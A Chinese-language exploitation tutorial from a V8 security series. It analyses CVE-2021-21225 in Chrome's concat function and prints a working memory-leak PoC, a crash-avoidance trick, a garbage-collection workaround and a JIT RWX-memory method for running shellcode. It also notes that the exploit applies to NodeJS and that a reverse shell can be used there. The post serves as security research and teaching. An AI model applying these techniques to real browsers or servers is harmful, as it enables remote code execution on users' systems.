从 0 开始学 V8 漏洞利用之 CVE-2021-21225(九)

 

作者:Hcamael@知道创宇404实验室

第七个研究的是CVE-2021-21225,其chrome的bug编号为:1195977[1]

受影响的Chrome最高版本为:90.0.4430.72
受影响的V8最高版本为:9.0.257.17

在chrome的bugs中也有该漏洞的exp和poc。

 

搭建环境

一键编译相关环境:

$ ./build.sh 9.0.257.17

 

漏洞分析

本次分析的漏洞,和之前研究过的有很大的不同,PoC如下:

class Leaky extends Float64Array {}

let u32 = new Leaky (1000);
u32.__defineSetter__('length', function() {});

class MyArray extends Array {
    static get [Symbol.species]() {
        return function() { return u32; }
    };
}

var w = new MyArray(300);
w.fill(1.1);
delete w[1];
Array.prototype[1] = {
valueOf: function() {
   w.length = 1;
   gc();
   delete Array.prototype[1];
   return 1.1;
}
};

var c = Array.prototype.concat.call(w);

for (var i = 0; i < 32; i++) {
print(c[i]);
}

其中gc函数需要运行d8的时候加上--expose-gc参数,才能调用。

该PoC的效果很明显,是内存泄漏,在变量w后再定义其他变量,比如var c = [1.1,2.2],那么可以把变量c的信息给泄漏出来。

发现该漏洞的研究人员也写了相关的paper:

  1. https://tiszka.com/blog/CVE_2021_21225.html?utm_source=bengtan.com/interesting-things/018
  2. https://tiszka.com/blog/CVE_2021_21225_exploit.html

漏洞出现在concat函数上,而且也不是新类型的漏洞,concat函数之前的漏洞编号为:CVE-2016-1646CVE-2017-5030,详细的可以去看上面的第一篇文章。

这里就说说我编写exp的过程,现有的exp已经可以泄漏变量信息了,但是还不够,要想rce,还得需要能控制变量的map,上面PoC的效果只是把变量w当成长度为1000的数组,然后赋值给变量c,在正常的程序中,变量w的长度已经被我们改成1了,所以根本没法修改后续值,只有concat函数认为变量w的长度为1000。而修改变量c的值,也根本影响不到其他变量,因为变量c本身就是长度为1000的合法变量。

在上面的第二篇文章中,提供了这么一种方案:

  1. 在上述的PoC中,数组w的所有元素都被1.1填充了,所以w的map为PACKED_DOUBLE_ELEMENTS类型。
  2. 如果我们把变量w的map改为HOLEY_ELEMENTS类型,那么concat函数在操作的时候,会把w的元素都当成Object处理。
  3. 这样,我们在变量w后面再定义一个变量: padding_obj = new Uint32Array(10);,该变量填充进我们可控的内存地址,这样就可以构建一个fake_obj。
  4. 有了fake_obj以后,就能任意读写了,就可以按照套路来写exp了。

但是直接这么写,可能会遇到一些问题,程序会crash,因为在漏洞触发后,会把后续的变量都当成对象,如果遇到一个不合法的对象,就报错了。

在上面第二篇paper中,提供了一种方法,在触发漏洞的函数中,修改了Object的原型链:

Object.prototype.valueOf = function() {
    corrupted_array = this;
    delete Object.prototype.valueOf; // clean up this valueOf
  throw 'bailout';
}

成功触发了以后,获取到我们构造的fake_obj,然后抛出异常,然后再捕获到该异常,这样程序就不会崩溃了。

垃圾回收

上面poc中的gc函数需要加上--expose-gc参数,那么没有这个参数的环境下要怎么办呢?上面第二篇文章中给出了一个方案:

function gc() {
    new ArrayBuffer(0x7fe00000);
}

另一种得到RWX内存的方案

在之前的文章中,我们都是采用WASM的方式获取一个RWX内存区域,但是在上面的第二篇文章中,给了另一种方案。

如果heap->write_protect_code_memory为0,那么JIT优化的代码会生成RWX内存区域来存放。

示例如下:

function jit(a) {
  return a[0];
}

write64(write_protect_code_memory_, 0);

for (var i = 0; i < 200000; i++) {
  jit([0]);
}
shellcode = [xxxx]
copy_shellcode_rwx(shellcode, jit_turbo_code_addr)
jit([0])

其中write_protect_code_memory_地址一般在堆的开头,可以通过gdb来搜索该地址。

jit_turbo_code_addr地址的偏移也可以通过gdb调试来获取。

NodeJS的利用

经过研究,该漏洞能影响到NodeJS 16.0.0。

来编写NodeJS的exp的过程中需要注意几点:

  1. nodejs没开启地址压缩。
  2. 使用%DebugPrint或者%System会影响内存布局,影响利用。
  3. 最后利用的shellcode,会发现没有输出,这是因为执行shellcode的文件描述符不对,这个时候可以修改shellcode为reverse shell或者bind shell。

 

参考

  1. https://bugs.chromium.org/p/chromium/issues/detail?id=1195977
(完)